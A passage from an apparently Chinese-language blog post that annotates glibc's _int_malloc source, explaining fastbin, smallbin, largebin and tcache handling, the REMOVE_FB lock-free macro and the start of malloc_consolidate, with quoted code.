cache, return one of the cached ones. */ ++tcache_unsorted_count; if (return_cached \u0026amp;\u0026amp; mp_.tcache_unsorted_limit \u0026gt; 0 \u0026amp;\u0026amp; tcache_unsorted_count \u0026gt; mp_.tcache_unsorted_limit) { return tcache_get (tc_idx); } #endif #define MAX_ITERS 10000 if (++iters \u0026gt;= MAX_ITERS) break; } #if USE_TCACHE /* If all the small chunks we found ended up cached, return one now. */ if (return_cached) { return tcache_get (tc_idx); } #endif /* If a large request, scan through the chunks of current bin in sorted order to find smallest that fits. Use the skip list for this. */ if (!in_smallbin_range (nb)) { bin = bin_at (av, idx); /* skip scan if empty or largest chunk is too small */ if ((victim = first (bin)) != bin \u0026amp;\u0026amp; (unsigned long) chunksize_nomask (victim) \u0026gt;= (unsigned long) (nb)) { victim = victim-\u0026gt;bk_nextsize; while (((unsigned long) (size = chunksize (victim)) \u0026lt; (unsigned long) (nb))) victim = victim-\u0026gt;bk_nextsize; /* Avoid removing the first entry for a size so that the skip list does not have to be rerouted. */ if (victim != last (bin) \u0026amp;\u0026amp; chunksize_nomask (victim) == chunksize_nomask (victim-\u0026gt;fd)) victim = victim-\u0026gt;fd; remainder_size = size - nb; unlink_chunk (av, victim); /* Exhaust */ if (remainder_size \u0026lt; MINSIZE) { set_inuse_bit_at_offset (victim, size); if (av != \u0026amp;main_arena) set_non_main_arena (victim); } /* Split */ else { remainder = chunk_at_offset (victim, nb); /* We cannot assume the unsorted list is empty and therefore have to perform a complete insert here. */ bck = unsorted_chunks (av); fwd = bck-\u0026gt;fd; if (__glibc_unlikely (fwd-\u0026gt;bk != bck)) malloc_printerr (\u0026#34;malloc(): corrupted unsorted chunks\u0026#34;); remainder-\u0026gt;bk = bck; remainder-\u0026gt;fd = fwd; bck-\u0026gt;fd = remainder; fwd-\u0026gt;bk = remainder; if (!in_smallbin_range (remainder_size)) { remainder-\u0026gt;fd_nextsize = NULL; remainder-\u0026gt;bk_nextsize = NULL; } set_head (victim, nb | PREV_INUSE | (av != \u0026amp;main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); } check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } /* Search for a chunk by scanning bins, starting with next largest bin. This search is strictly by best-fit; i.e., the smallest (with ties going to approximately the least recently used) chunk that fits is selected. The bitmap avoids needing to check that most blocks are nonempty. The particular case of skipping all bins during warm-up phases when no chunks have been returned yet is faster than it might look. */ ++idx; bin = bin_at (av, idx); block = idx2block (idx); map = av-\u0026gt;binmap[block]; bit = idx2bit (idx); for (;; ) { /* Skip rest of block if there are no more set bits in this block. */ if (bit \u0026gt; map || bit == 0) { do { if (++block \u0026gt;= BINMAPSIZE) /* out of bins */ goto use_top; } while ((map = av-\u0026gt;binmap[block]) == 0); bin = bin_at (av, (block \u0026lt;\u0026lt; BINMAPSHIFT)); bit = 1; } /* Advance to bin with set bit. There must be one. */ while ((bit \u0026amp; map) == 0) { bin = next_bin (bin); bit \u0026lt;\u0026lt;= 1; assert (bit != 0); } /* Inspect the bin. It is likely to be non-empty */ victim = last (bin); /* If a false alarm (empty bin), clear the bit. */ if (victim == bin) { av-\u0026gt;binmap[block] = map \u0026amp;= ~bit; /* Write through */ bin = next_bin (bin); bit \u0026lt;\u0026lt;= 1; } else { size = chunksize (victim); /* We know the first chunk in this bin is big enough to use. */ assert ((unsigned long) (size) \u0026gt;= (unsigned long) (nb)); remainder_size = size - nb; /* unlink */ unlink_chunk (av, victim); /* Exhaust */ if (remainder_size \u0026lt; MINSIZE) { set_inuse_bit_at_offset (victim, size); if (av != \u0026amp;main_arena) set_non_main_arena (victim); } /* Split */ else { remainder = chunk_at_offset (victim, nb); /* We cannot assume the unsorted list is empty and therefore have to perform a complete insert here. */ bck = unsorted_chunks (av); fwd = bck-\u0026gt;fd; if (__glibc_unlikely (fwd-\u0026gt;bk != bck)) malloc_printerr (\u0026#34;malloc(): corrupted unsorted chunks 2\u0026#34;); remainder-\u0026gt;bk = bck; remainder-\u0026gt;fd = fwd; bck-\u0026gt;fd = remainder; fwd-\u0026gt;bk = remainder; /* advertise as last remainder */ if (in_smallbin_range (nb)) av-\u0026gt;last_remainder = remainder; if (!in_smallbin_range (remainder_size)) { remainder-\u0026gt;fd_nextsize = NULL; remainder-\u0026gt;bk_nextsize = NULL; } set_head (victim, nb | PREV_INUSE | (av != \u0026amp;main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); } check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } use_top: /* If large enough, split off the chunk bordering the end of memory (held in av-\u0026gt;top). Note that this is in accord with the best-fit search rule. In effect, av-\u0026gt;top is treated as larger (and thus less well fitting) than any other available chunk since it can be extended to be as large as necessary (up to system limitations). We require that av-\u0026gt;top always exists (i.e., has size \u0026gt;= MINSIZE) after initialization, so if it would otherwise be exhausted by current request, it is replenished. (The main reason for ensuring it exists is that we may need MINSIZE space to put in fenceposts in sysmalloc.) */ victim = av-\u0026gt;top; size = chunksize (victim); if (__glibc_unlikely (size \u0026gt; av-\u0026gt;system_mem)) malloc_printerr (\u0026#34;malloc(): corrupted top size\u0026#34;); if ((unsigned long) (size) \u0026gt;= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); av-\u0026gt;top = remainder; set_head (victim, nb | PREV_INUSE | (av != \u0026amp;main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* When we are using atomic ops to free fast chunks we can get here for all block sizes. */ else if (atomic_load_relaxed (\u0026amp;av-\u0026gt;have_fastchunks)) { malloc_consolidate (av); /* restore original bin index */ if (in_smallbin_range (nb)) idx = smallbin_index (nb); else idx = largebin_index (nb); } /* Otherwise, relay to handle system-dependent cases */ else { void *p = sysmalloc (nb, av); if (p != NULL) alloc_perturb (p, bytes); return p; } } } 前置处理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 INTERNAL_SIZE_T nb; /* normalized request size */ unsigned int idx; /* associated bin index */ mbinptr bin; /* associated bin */ mchunkptr victim; /* inspected/selected chunk */ INTERNAL_SIZE_T size; /* its size */ int victim_index; /* its bin index */ mchunkptr remainder; /* remainder from a split */ unsigned long remainder_size; /* its size */ unsigned int block; /* bit map traverser */ unsigned int bit; /* bit map traverser */ unsigned int map; /* current word of binmap */ mchunkptr fwd; /* misc temp for linking */ mchunkptr bck; /* misc temp for linking */ #if USE_TCACHE size_t tcache_unsorted_count;\t/* count of unsorted chunks processed */ #endif /* Convert request size to internal form by adding SIZE_SZ bytes overhead plus possibly more to obtain necessary alignment and/or to obtain a size of at least MINSIZE, the smallest allocatable size. Also, checked_request2size returns false for request sizes that are so large that they wrap around zero when padded and aligned. */ if (!checked_request2size (bytes, \u0026amp;nb)) { __set_errno (ENOMEM); return NULL; } /* There are no usable arenas. Fall back to sysmalloc to get a chunk from mmap. */ if (__glibc_unlikely (av == NULL)) { void *p = sysmalloc (nb, av); if (p != NULL) alloc_perturb (p, bytes); return p; } nb 为实际应分配的内存大小， sysmalloc 部分暂略\nfastbin 相关 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 /* If the size qualifies as a fastbin, first check corresponding bin. This code is safe to execute even if av is not yet initialized, so we can try it without checking, which saves some time on this fast path. */ #define REMOVE_FB(fb, victim, pp)\t\\ do\t\\ {\t\\ victim = pp;\t\\ if (victim == NULL)\t\\ break;\t\\ pp = REVEAL_PTR (victim-\u0026gt;fd); \\ if (__glibc_unlikely (pp != NULL \u0026amp;\u0026amp; misaligned_chunk (pp))) \\ malloc_printerr (\u0026#34;malloc(): unaligned fastbin chunk detected\u0026#34;); \\ }\t\\ while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \\ != victim);\t\\ if ((unsigned long) (nb) \u0026lt;= (unsigned long) (get_max_fast ())) { idx = fastbin_index (nb); mfastbinptr *fb = \u0026amp;fastbin (av, idx); mchunkptr pp; victim = *fb; if (victim != NULL) { if (__glibc_unlikely (misaligned_chunk (victim))) malloc_printerr (\u0026#34;malloc(): unaligned fastbin chunk detected 2\u0026#34;); if (SINGLE_THREAD_P) *fb = REVEAL_PTR (victim-\u0026gt;fd); else REMOVE_FB (fb, pp, victim); if (__glibc_likely (victim != NULL)) { size_t victim_idx = fastbin_index (chunksize (victim)); if (__builtin_expect (victim_idx != idx, 0)) malloc_printerr (\u0026#34;malloc(): memory corruption (fast)\u0026#34;); check_remalloced_chunk (av, victim, nb); #if USE_TCACHE /* While we\u0026#39;re here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache \u0026amp;\u0026amp; tc_idx \u0026lt; mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks. */ while (tcache-\u0026gt;counts[tc_idx] \u0026lt; mp_.tcache_count \u0026amp;\u0026amp; (tc_victim = *fb) != NULL) { if (__glibc_unlikely (misaligned_chunk (tc_victim))) malloc_printerr (\u0026#34;malloc(): unaligned fastbin chunk detected 3\u0026#34;); if (SINGLE_THREAD_P) *fb = REVEAL_PTR (tc_victim-\u0026gt;fd); else { REMOVE_FB (fb, pp, tc_victim); if (__glibc_unlikely (tc_victim == NULL)) break; } tcache_put (tc_victim, tc_idx); } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } } fastbin 是单向链表， LIFO\nREMOVE_FB 宏 1 2 3 4 5 6 7 8 9 10 11 12 #define REMOVE_FB(fb, victim, pp)\t\\ do\t\\ {\t\\ victim = pp;\t\\ if (victim == NULL)\t\\ break;\t\\ pp = REVEAL_PTR (victim-\u0026gt;fd); \\ if (__glibc_unlikely (pp != NULL \u0026amp;\u0026amp; misaligned_chunk (pp))) \\ malloc_printerr (\u0026#34;malloc(): unaligned fastbin chunk detected\u0026#34;); \\ }\t\\ while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \\ != victim);\t\\ 宏参数含义\nfb: 指向 fastbin 链表头的指针（即 \u0026amp;main_arena.fastbinsY[i] ）。 victim: 输出参数，成功时指向被取出的内存块。 pp: 临时变量，最初存放旧的链表头，成功后作为新链表头。 无锁原子操作 (CAS) 是该宏最核心的部分。为了避免在分配内存时频繁加锁带来的性能损耗，glibc 使用了 catomic_compare_and_exchange_val_acq：\n语义：这是一个 CAS （ Compare-And-Swap ）操作。它会检查 *fb （当前的 fastbin 链表头）是否仍然等于 victim。 如果相等：说明没有其他线程修改链表头，它会将 *fb 更新为 pp（即 victim-\u0026gt;fd ），成功弹出 victim 。 如果不相等：说明在执行逻辑期间，有其他线程抢先分配或插入了块， CAS 失败。此时 pp 会被更新为当前的 *fb （新的链表头），循环再次尝试，直到成功。 过程要求 pp 的地址对齐 16 位\n获取 index 1 2 3 4 5 6 if ((unsigned long) (nb) \u0026lt;= (unsigned long) (get_max_fast ())) { idx = fastbin_index (nb); mfastbinptr *fb = \u0026amp;fastbin (av, idx); mchunkptr pp; victim = *fb; 追溯得到 get_max_fast () 返回 DEFAULT_MXFAST ，为 64 * SIZE_SZ / 4 ，即 0x80 字节\n首先判断应分配内存大小 nb 是否在 fastbin 的管辖范围内，然后根据 nb 的大小计算在 fastbin 中的 index\nfb 为对应 fastbin 的头指针\n1 2 3 /* offset 2 to use otherwise unindexable first 2 bins */ #define fastbin_index(sz) \\ ((((unsigned int) (sz)) \u0026gt;\u0026gt; (SIZE_SZ == 8 ? 4 : 3)) - 2) 由此， 0x20 -\u0026gt; 0 , 0x30 -\u0026gt; 1 \u0026hellip; 0x80 -\u0026gt; 7\n取出 chunk 并检验 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if (victim != NULL) { if (__glibc_unlikely (misaligned_chunk (victim))) malloc_printerr (\u0026#34;malloc(): unaligned fastbin chunk detected 2\u0026#34;); if (SINGLE_THREAD_P) *fb = REVEAL_PTR (victim-\u0026gt;fd); else REMOVE_FB (fb, pp, victim); if (__glibc_likely (victim != NULL)) { size_t victim_idx = fastbin_index (chunksize (victim)); if (__builtin_expect (victim_idx != idx, 0)) malloc_printerr (\u0026#34;malloc(): memory corruption (fast)\u0026#34;); check_remalloced_chunk (av, victim, nb); 要求 victim 的地址对齐 16 位\nSINGLE_THREAD_P 宏判断当前进程是否只有一个线程，若是，则直接更新 fb 为 next ，否则用 REMOVE_FB 宏更新，并维护 fb , pp , victim 的正确性\nvictim_idx 为被取出 chunk 的 size 字段对应的 fastbin index\n比对 victim_idx 和 idx ，要求同一个 size 字段与 fastbin 应该存放的大小相符\ncheck_remalloced_chunk 正常情况下为空，不用管\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 /* Bits to mask off when extracting size Note: IS_MMAPPED is intentionally not masked off from size field in macros for which mmapped chunks should never be seen. This should cause helpful core dumps to occur if it is tried by accident by people extending or adapting this malloc. */ #define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) /* Get size, ignoring use bits */ #define chunksize(p) (chunksize_nomask (p) \u0026amp; ~(SIZE_BITS)) /* Like chunksize, but do not mask SIZE_BITS. */ #define chunksize_nomask(p) ((p)-\u0026gt;mchunk_size) chunksize 会去除标志位\n向 Tcache 中转移 fastbin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #if USE_TCACHE /* While we\u0026#39;re here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache \u0026amp;\u0026amp; tc_idx \u0026lt; mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks. */ while (tcache-\u0026gt;counts[tc_idx] \u0026lt; mp_.tcache_count \u0026amp;\u0026amp; (tc_victim = *fb) != NULL) { if (__glibc_unlikely (misaligned_chunk (tc_victim))) malloc_printerr (\u0026#34;malloc(): unaligned fastbin chunk detected 3\u0026#34;); if (SINGLE_THREAD_P) *fb = REVEAL_PTR (tc_victim-\u0026gt;fd); else { REMOVE_FB (fb, pp, tc_victim); if (__glibc_unlikely (tc_victim == NULL)) break; } tcache_put (tc_victim, tc_idx); } } #endif 过程要求 tc_victim 的地址对齐 16 位\n分配成功 1 2 3 4 5 void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } smallbin 相关 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 /* If a small request, check regular bin. Since these \u0026#34;smallbins\u0026#34; hold one size each, no searching within bins is necessary. (For a large request, we need to wait until unsorted chunks are processed to find best fit. But for small ones, fits are exact anyway, so we can check now, which is faster.) */ if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { bck = victim-\u0026gt;bk; if (__glibc_unlikely (bck-\u0026gt;fd != victim)) malloc_printerr (\u0026#34;malloc(): smallbin double linked list corrupted\u0026#34;); set_inuse_bit_at_offset (victim, nb); bin-\u0026gt;bk = bck; bck-\u0026gt;fd = bin; if (av != \u0026amp;main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE /* While we\u0026#39;re here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache \u0026amp;\u0026amp; tc_idx \u0026lt; mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */ while (tcache-\u0026gt;counts[tc_idx] \u0026lt; mp_.tcache_count \u0026amp;\u0026amp; (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim-\u0026gt;bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != \u0026amp;main_arena) set_non_main_arena (tc_victim); bin-\u0026gt;bk = bck; bck-\u0026gt;fd = bin; tcache_put (tc_victim, tc_idx); } } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } smallbin 是双向循环链表， FIFO\n索引 1 2 3 4 if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 /* Indexing Bins for sizes \u0026lt; 512 bytes contain chunks of all the same size, spaced 8 bytes apart. Larger bins are approximately logarithmically spaced: 64 bins of size 8 32 bins of size 64 16 bins of size 512 8 bins of size 4096 4 bins of size 32768 2 bins of size 262144 1 bin of size what\u0026#39;s left There is actually a little bit of slop in the numbers in bin_index for the sake of speed. This makes no difference elsewhere. The bins top out around 1MB because we expect to service large requests via mmap. Bin 0 does not exist. Bin 1 is the unordered list; if that would be a valid chunk size the small bins are bumped up one. */ #define NBINS 128 #define NSMALLBINS 64 #define SMALLBIN_WIDTH MALLOC_ALIGNMENT #define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT \u0026gt; CHUNK_HDR_SZ) #define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH) #define in_smallbin_range(sz) \\ ((unsigned long) (sz) \u0026lt; (unsigned long) MIN_LARGE_SIZE) #define smallbin_index(sz) \\ ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) \u0026gt;\u0026gt; 4) : (((unsigned) (sz)) \u0026gt;\u0026gt; 3))\\ + SMALLBIN_CORRECTION) 1 2 3 4 5 6 typedef struct malloc_chunk *mbinptr; /* addressing -- note that bin_at(0) does not exist */ #define bin_at(m, i) \\ (mbinptr) (((char *) \u0026amp;((m)-\u0026gt;bins[((i) - 1) * 2]))\t\\ - offsetof (struct malloc_chunk, fd)) 根据应分配的 chunk 大小计算 smallbin 的索引，并注意到从 smallbin_idx 到 bins 的索引还有换算\n0x20 -\u0026gt; 2 -\u0026gt; 2 , 0x30 -\u0026gt; 3 -\u0026gt; 4 \u0026hellip; 0x400 -\u0026gt; 40 -\u0026gt; 78\n然后取出对应 bin 的链表头\n脱链 1 2 3 4 5 6 7 8 9 10 11 12 if ((victim = last (bin)) != bin) { bck = victim-\u0026gt;bk; if (__glibc_unlikely (bck-\u0026gt;fd != victim)) malloc_printerr (\u0026#34;malloc(): smallbin double linked list corrupted\u0026#34;); set_inuse_bit_at_offset (victim, nb); bin-\u0026gt;bk = bck; bck-\u0026gt;fd = bin; if (av != \u0026amp;main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); last (bin) 即 bin-\u0026gt;bk\nif ((victim = last (bin)) != bin) 判断条件：如果 victim == bin ，说明链表为空（只有一个头节点），代码将跳过此段\nif (__glibc_unlikely (bck-\u0026gt;fd != victim)) 要求在双向链表中，victim 的前驱节点的后继指针``victim-\u0026gt;bk-\u0026gt;fd` 必须指向 victim 自己，若满足要求，则设置与它物理相邻下一个高地址的 chunk 的 prev_inuse 位为 1 并脱链\n注意到，我们要取出的 victim 为 bin-\u0026gt;bk ，事实上， bin 本身是一个哨兵，不代表任何 chunk\n1 2 #define set_inuse_bit_at_offset(p, s)\t\\ (((mchunkptr) (((char *) (p)) + (s)))-\u0026gt;mchunk_size |= PREV_INUSE) 该宏设置与它物理相邻下一个高地址的 chunk 的 prev_inuse 位为 1\n向 Tcache 中转移 smallbin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #if USE_TCACHE /* While we\u0026#39;re here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache \u0026amp;\u0026amp; tc_idx \u0026lt; mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */ while (tcache-\u0026gt;counts[tc_idx] \u0026lt; mp_.tcache_count \u0026amp;\u0026amp; (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim-\u0026gt;bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != \u0026amp;main_arena) set_non_main_arena (tc_victim); bin-\u0026gt;bk = bck; bck-\u0026gt;fd = bin; tcache_put (tc_victim, tc_idx); } } } #endif 由于重新取出 tcache 时不会操作 prev_inuse ，所以这里会提前处理\n分配成功 1 2 3 4 5 void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } largebin 相关 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 /* If this is a large request, consolidate fastbins before continuing. While it might look excessive to kill all fastbins before even seeing if there is space available, this avoids fragmentation problems normally associated with fastbins. Also, in practice, programs tend to have runs of either small or large requests, but less often mixtures, so consolidation is not invoked all that often in most programs. And the programs that it is called frequently in otherwise tend to fragment. */ else { idx = largebin_index (nb); if (atomic_load_relaxed (\u0026amp;av-\u0026gt;have_fastchunks)) malloc_consolidate (av); } largebin 是双向循环且沿 fb 时 size 单调递减的链表，在同一 Size 组内部表现为 FIFO\nlargebin_index 宏分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 // XXX It remains to be seen whether it is good to keep the widths of // XXX the buckets the same or whether it should be scaled by a factor // XXX of two as well. #define largebin_index_64(sz) \\ (((((unsigned long) (sz)) \u0026gt;\u0026gt; 6) \u0026lt;= 48) ? 48 + (((unsigned long) (sz)) \u0026gt;\u0026gt; 6) :\\ ((((unsigned long) (sz)) \u0026gt;\u0026gt; 9) \u0026lt;= 20) ? 91 + (((unsigned long) (sz)) \u0026gt;\u0026gt; 9) :\\ ((((unsigned long) (sz)) \u0026gt;\u0026gt; 12) \u0026lt;= 10) ? 110 + (((unsigned long) (sz)) \u0026gt;\u0026gt; 12) :\\ ((((unsigned long) (sz)) \u0026gt;\u0026gt; 15) \u0026lt;= 4) ? 119 + (((unsigned long) (sz)) \u0026gt;\u0026gt; 15) :\\ ((((unsigned long) (sz)) \u0026gt;\u0026gt; 18) \u0026lt;= 2) ? 124 + (((unsigned long) (sz)) \u0026gt;\u0026gt; 18) :\\ 126) #define largebin_index(sz) \\ (SIZE_SZ == 8 ? largebin_index_64 (sz) \\ : MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \\ : largebin_index_32 (sz)) 这个宏是 ptmalloc 用于将内存块的大小（size）映射到对应的 Large Bin 索引 的核心逻辑。\n它的设计思路非常巧妙，采用的是分段线性映射（Piecewise Linear Mapping）。简单来说：随着内存块越来越大，Bin 所覆盖的范围也越来越广，但分辨率（精确度）越来越低。\n以下是该映射逻辑的深度拆解：\n1. 核心设计原则：对数级增长 Small Bins 是等差数列（每 16 字节一个 Bin），而 Large Bins 是分组的。为了平衡查找效率和空间碎片，ptmalloc 将 Large Bins 分成了 6 个组（Intervals），每组的步长（Step）呈指数级增长。\n2. 六个组的详细映射分析\n我们将 sz \u0026gt;\u0026gt; n 理解为按 $2^n$ 的步长进行划分：\n组别 大小范围 (64位系统) 步长 (Step) 索引计算公式 对应 Bin 数量 第 1 组 1024B ~ 3072B 64 B (\u0026gt;\u0026gt;6) $48 + (sz \u0026raquo; 6)$ 32 个 (Bin 64-95) 第 2 组 3072B ~ 10KB 512 B (\u0026gt;\u0026gt;9) $91 + (sz \u0026raquo; 9)$ 16 个 (Bin 96-111) 第 3 组 10KB ~ 40KB 4KB (\u0026gt;\u0026gt;12) $110 + (sz \u0026raquo; 12)$ 8 个 (Bin 112-119) 第 4 组 40KB ~ 128KB 32KB (\u0026gt;\u0026gt;15) $119 + (sz \u0026raquo; 15)$ 4 个 (Bin 120-123) 第 5 组 128KB ~ 512KB 256KB (\u0026gt;\u0026gt;18) $124 + (sz \u0026raquo; 18)$ 2 个 (Bin 124-125) 第 6 组 \u0026gt; 512KB 无 固定为 126 1 个 (Bin 126) if (atomic_load_relaxed (\u0026amp;av-\u0026gt;have_fastchunks)) 检查 fastbin 中是否有空闲块，若有，则进入 malloc_consolidate\nLargebin 结构 我们可以将 Largebin 的结构总结为一种 “双层嵌套式跳跃循环双向链表” 。\n它不仅管理着大量的堆块，还通过精妙的索引机制保证了在处理不同大小堆块时的搜索效率。以下是 Largebin 结构的完整解构：\n1. 核心分层设计 (The Dual-Layer System) Largebin 的最独特之处在于它同时维护了两套逻辑链表，这两套链表物理上共存于同一组 Chunk 之中：\n第一层：主链表 (The Main fd/bk Loop) 成员：包含该 Bin 范围内所有被释放的 Chunk。 排序：按 Size 从大到小 严格排序。 哨兵参与：main_arena 中的 Bin 头部（哨兵）参与此链表。 bin-\u0026gt;fd 指向该 Bin 中最大的 Chunk。 bin-\u0026gt;bk 指向该 Bin 中最小的 Chunk。 作用：维护所有可用堆块的物理地址索引，是 unlink 操作的基础。 第二层：快车道 (The nextsize Index Loop) 成员：仅包含每个 Size 组中的第一个 Chunk（即“组长”）。 排序：同样按 Size 递减排序。 哨兵避让：哨兵不具备 nextsize 指针，因此不参与此链表。 闭环方式：最小组长的 fd_nextsize 直接指向最大组长，形成自闭环。 作用：实现“跳表”机制，搜索时直接跳过成百上千个相同大小的堆块。 2. “组长-跟随者”模型 (Leader-Follower Model) 这是 Largebin 维持秩序的核心逻辑：\n组长 (Leader)： 身份标识：p-\u0026gt;fd_nextsize != NULL。 物理位置：它是该 Size 组中离哨兵最近（在 fd 方向最靠前）的块。 责任：持有 nextsize 指针，负责与其他尺寸的组长通信。 跟随者 (Follower)： 身份标识：p-\u0026gt;fd_nextsize == NULL。 物理位置：紧跟在组长之后。 责任：只通过 fd/bk 维持在主链表中的位置。被 unlink 时操作极快，不影响索引结构。 3. 关键字段及其指向总结 字段 含义 指向特性 mchunk_prev_size 物理相邻低地址块大小 永远指向物理上的“前一家”，用于 free 时的向后合并。 fd 逻辑后继 指向主链表中的下一个 Chunk（Size $\\le$ 当前块）。 bk 逻辑前驱 指向主链表中的上一个 Chunk（Size $\\ge$ 当前块）。 fd_nextsize 跨组后继 仅组长持有。指向下一个更小尺寸的组长。最小组长指回最大组长。 bk_nextsize 跨组前驱 仅组长持有。指向上一个更大尺寸的组长。最大组长指回最小组长。 4. 操作行为准则 (Operational Dynamics) 搜索 (Search)：malloc 申请内存时，先看 bin-\u0026gt;fd 的 fd_nextsize。如果请求 4500B，它会通过 nextsize 链表跳过整个 6000B 组和 5000B 组，直接定位到第一个可能满足条件的组。 插入 (Insertion)：新块从 Unsorted Bin 归位时，如果发现已有同尺寸组，总是插入到组长之后作为跟随者。这样无需改动 nextsize 链表，效率为 $O(1)$。 脱链 (Unlink)： 如果是跟随者：直接修改 fd/bk 闭合。 如果是组长：将 fd_nextsize/bk_nextsize 的所有权移交给它的 fd（二把手），然后二把手晋升为新组长。 malloc_consolidate 源码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 /* ------------------------- malloc_consolidate ------------------------- malloc_consolidate is a specialized version of free() that tears down chunks held in fastbins. Free itself cannot be used for this purpose since, among other things, it might place chunks back onto fastbins. So, instead, we need to use a minor variant of the same code. */ static void malloc_consolidate(mstate av) { mfastbinptr* fb; /* current fastbin being consolidated */ mfastbinptr* maxfb; /* last fastbin (for loop control) */ mchunkptr p; /* current chunk being consolidated */ mchunkptr nextp; /* next chunk to consolidate */ mchunkptr unsorted_bin; /* bin header */ mchunkptr first_unsorted; /* chunk to link to */ /* These have same use as in free() */ mchunkptr nextchunk; INTERNAL_SIZE_T size; INTERNAL_SIZE_T nextsize; INTERNAL_SIZE_T prevsize; int nextinuse; atomic_store_relaxed (\u0026amp;av-\u0026gt;have_fastchunks, false); unsorted_bin = unsorted_chunks(av); /* Remove each chunk from fast bin and consolidate it, placing it then in unsorted bin. Among other reasons for doing this, placing in unsorted bin avoids needing to calculate actual bins until malloc is sure that chunks aren\u0026#39;t immediately going to be reused anyway. */ maxfb = \u0026amp;fastbin (av, NFASTBINS - 1); fb = \u0026amp;fastbin (av, 0); do { p = atomic_exchange_acq (fb, NULL); if (p != 0) { do { { if (__glibc_unlikely (misaligned_chunk (p))) malloc_printerr (\u0026#34;malloc_consolidate(): \u0026#34; \u0026#34;unaligned fastbin chunk detected\u0026#34;); unsigned int idx = fastbin_index (chunksize (p)); if ((\u0026amp;fastbin (av, idx)) != fb) malloc_printerr (\u0026#34;malloc_consolidate(): invalid chunk size\u0026#34;); } check_inuse_chunk(av, p); nextp = REVEAL_PTR (p-\u0026gt;fd); /* Slightly streamlined version of consolidation code in free() */ size = chunksize (p); nextchunk = chunk_at_offset(p, size); nextsize = chunksize(nextchunk); if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr (\u0026#34;corrupted size vs. prev_size in fastbins\u0026#34;); unlink_chunk (av, p); } if (nextchunk != av-\u0026gt;top) { nextinuse = inuse_bit_at_offset(nextchunk, nextsize); if (!nextinuse) { size += nextsize; unlink_chunk (av, nextchunk); } else clear_inuse_bit_at_offset(nextchunk, 0); first_unsorted = unsorted_bin-\u0026gt;fd; unsorted_bin-\u0026gt;fd = p; 